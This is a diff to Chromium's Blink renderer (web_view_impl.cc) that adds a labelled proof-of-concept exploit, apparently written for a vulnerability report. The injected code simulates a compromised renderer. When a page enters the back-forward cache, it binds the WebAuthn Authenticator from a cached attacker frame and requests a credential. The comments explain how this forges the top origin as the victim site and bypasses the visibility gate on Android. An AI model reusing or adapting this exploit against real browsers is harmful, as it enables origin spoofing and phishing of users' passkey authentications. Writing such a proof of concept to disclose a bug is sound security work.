diff --git a/third_party/blink/renderer/core/exported/web_view_impl.cc b/third_party/blink/renderer/core/exported/web_view_impl.cc index 45a11bc1e38bb..55e22bbd009af 100644 --- a/third_party/blink/renderer/core/exported/web_view_impl.cc +++ b/third_party/blink/renderer/core/exported/web_view_impl.cc @@ -29,6 +29,21 @@ */ #include "third_party/blink/renderer/core/exported/web_view_impl.h" +// --- POC injection (simulated compromised renderer) ----------------------- +// NOTE: blink/core does not normally depend on the WebAuthn mojom. For a +// local POC build either add "//third_party/blink/public/mojom:mojom_modules" +// (or the specific webauthn mojom target) to //third_party/blink/renderer/core +// deps, or move this hook into modules/credentialmanagement and call it via +// ModulesInitializer. A real attacker has renderer RCE and is not bound by +// the build system. +#include "base/functional/bind.h" +#include "base/logging.h" +#include "base/no_destructor.h" +#include "mojo/public/cpp/bindings/remote.h" +#include "third_party/blink/public/mojom/webauthn/authenticator.mojom-blink.h" +#include "third_party/blink/public/platform/browser_interface_broker_proxy.h" +// ------------------------------------------------------------------------- + #include #include #include @@ -2531,6 +2546,76 @@ void WebViewImpl::SetPageLifecycleStateInternal( // TODO(https://crbug.com/427130212): Consider moving this to happen earlier // and together with other page state updates so that the ordering is clear. Scheduler()->SetPageBackForwardCached(new_state->is_in_back_forward_cache); + + // ==================================================================== + // POC: simulated compromised-renderer behaviour on BFCache entry. + // + // The browser sends SetPageLifecycleState(is_in_back_forward_cache=true) + // AFTER it has already (a) committed the next navigation and made the + // victim RFH the primary main frame, and (b) moved this page's RFH(s) to + // LifecycleStateImpl::kInBackForwardCache. Our BrowserInterfaceBroker + // pipe is still bound and carries no BFCache message filter, so we can + // bind blink.mojom.Authenticator from a cached frame. + // + // On Android, RenderFrameHostImpl::GetWebAuthenticationService() forwards + // to GetJavaInterfaces() with no IsActive() check, and + // AuthenticatorFactory.createImpl() reads + // webContents.getMainFrame().getLastCommittedOrigin() + // == GetPrimaryMainFrame() == victim.com + // for topOrigin and uses the foreground WebContents for the visibility + // gate. + // ==================================================================== + LocalFrame* poc_target = nullptr; + for (Frame* f = page->MainFrame(); f; f = f->Tree().TraverseNext()) { + auto* lf = DynamicTo(f); + if (!lf || !lf->DomWindow()) { + continue; + } + // Prefer a non-main local frame (the cross-origin attacker subframe) so + // ValidateAncestorOrigins() on the cached tree yields + // is_cross_origin=true and clientDataJSON emits the forged topOrigin. + if (!lf->IsMainFrame()) { + poc_target = lf; + break; + } + if (!poc_target) { + // Fallback to the main frame: still bypasses the visibility gate and + // pops system FIDO UI over victim.com; topOrigin just isn't emitted. + poc_target = lf; + } + } + if (poc_target) { + LOG(ERROR) << "[poc] BFCache entry: binding blink.mojom.Authenticator " + "from cached frame origin=" + << poc_target->DomWindow() + ->GetSecurityOrigin() + ->ToString() + .Utf8(); + static base::NoDestructor> + g_poc_auth; + g_poc_auth->reset(); + poc_target->GetBrowserInterfaceBroker().GetInterface( + g_poc_auth->BindNewPipeAndPassReceiver( + poc_target->GetTaskRunner(TaskType::kUserInteraction))); + + auto pk = mojom::blink::PublicKeyCredentialRequestOptions::New(); + pk->challenge = {1, 2, 3, 4}; + // RP ID must satisfy ValidateDomainAndRelyingPartyID for the attacker + // frame's origin; the bug is in topOrigin / visibility, not rpId. + pk->relying_party_id = "localhost"; + pk->user_verification = + mojom::blink::UserVerificationRequirement::PREFERRED; + pk->extensions = + mojom::blink::AuthenticationExtensionsClientInputs::New(); + + auto opts = mojom::blink::GetCredentialOptions::New(); + opts->mediation = mojom::blink::Mediation::MODAL; + opts->public_key = std::move(pk); + (*g_poc_auth) + ->GetCredential( + std::move(opts), + WTF::BindOnce([](mojom::blink::GetCredentialResponsePtr) {})); + } } if (freezing_page) {